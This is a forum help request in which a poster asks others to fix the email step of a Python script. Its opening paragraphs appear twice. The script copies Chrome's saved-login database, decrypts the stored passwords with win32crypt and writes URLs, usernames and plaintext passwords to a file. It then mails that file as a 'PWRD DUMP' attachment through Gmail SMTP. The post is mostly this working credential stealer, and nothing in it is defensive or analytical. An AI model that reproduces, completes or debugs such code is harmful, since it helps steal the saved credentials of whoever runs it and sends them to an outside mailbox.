Hello, I am a complete beginner when it comes to Python coding, and I could really use some help trying to email an outputted file via a script to myself over email.
Using many resources on this website, I'm trying to create a script that will grab the passwords from a Chrome account when run, dump the passwords into a text file and then email that text file to a specific email address.
Gmail has emailed me saying that there has been a new device trying to access emails, and I have authorised it, so surely this shows that the connection is being made via the script, but I'm still getting an error stating 'failed to execute script' when run.
The dump file is also created locally, with a list of passwords, it just seems that the email section is not fully working. If anybody could help me out I'd appreciate it! The code is shown below.
Using many resources on this website, I'm trying to create a script that will grab the passwords from a Chrome account when run, dump the passwords into a text file and then email that text file to a specific email address.
Gmail has emailed me saying that there has been a new device trying to access emails, and I have authorised it, so surely this shows that the connection is being made via the script, but I'm still getting an error stating 'failed to execute script' when run.
The dump file is also created locally, with a list of passwords, it just seems that the email section is not fully working. If anybody could help me out I'd appreciate it! The code is shown below.
Code
import os, sqlite3, win32crypt, time, shutil, sys
file = open("dump.txt", "w")
file.write("")
file.close
def logit(content):
file = open("dump.txt", "a")
file.write(content)
file.close
shutil.copyfile(os.path.expanduser('~')+"/AppData/Local/Google/Chrome/User Data/Default/Login Data", "tempdatabase")
path = os.path.expanduser('~')+"/AppData/Local/Google/Chrome/User Data/Default"
db = os.path.join(os.path.abspath(os.path.split(sys.argv[0])[0]) + "/tempdatabase")
c = sqlite3.connect(db)
cursor = c.cursor()
select_statement = "SELECT origin_url, username_value, password_value FROM logins"
cursor.execute(select_statement)
login_data = cursor.fetchall()
outputlist = []
for url, user_name, pwd, in login_data:
pwd = win32crypt.CryptUnprotectData(pwd, None, None, None, 0)
if url != "" and user_name != "" and pwd[1].decode('utf-8') != "":
outputlist.append(url)
outputlist.append(user_name)
outputlist.append(pwd[1].decode('utf-8'))
outputlist.append("")
for item in outputlist:
try:
logit(item + "\n")
except:
doing = "nothing"
c.close()
os.remove(os.path.abspath(os.path.split(sys.argv[0])[0]) + "\\tempdatabase")
import smtplib,ssl
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email.utils import formatdate
from email import encoders
### Function to send the email ###
def send_an_email():
toaddr = '[email protected]'
me = '[email protected]'
subject = "PWRD DUMP"
msg = MIMEMultipart()
msg['Subject'] = subject
msg['From'] = me
msg['To'] = toaddr
msg.preamble = "test "
#msg.attach(MIMEText(text))
part = MIMEBase('application', "octet-stream")
part.set_payload(open("dump.txt", "rb").read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="dump.txt"')
msg.attach(part)
try:
s = smtplib.SMTP('smtp.gmail.com', 587)
s.ehlo()
s.starttls()
s.ehlo()
s.login(user = '[email protected]', password = 'xxxxxpasswordxxxxx')
#s.send_message(msg)
s.sendmail(me, toaddr, msg.as_string())
s.quit()
#except:
# print ("Error: unable to send email")
except SMTPException as error:
print ("Error")
send_an_email()
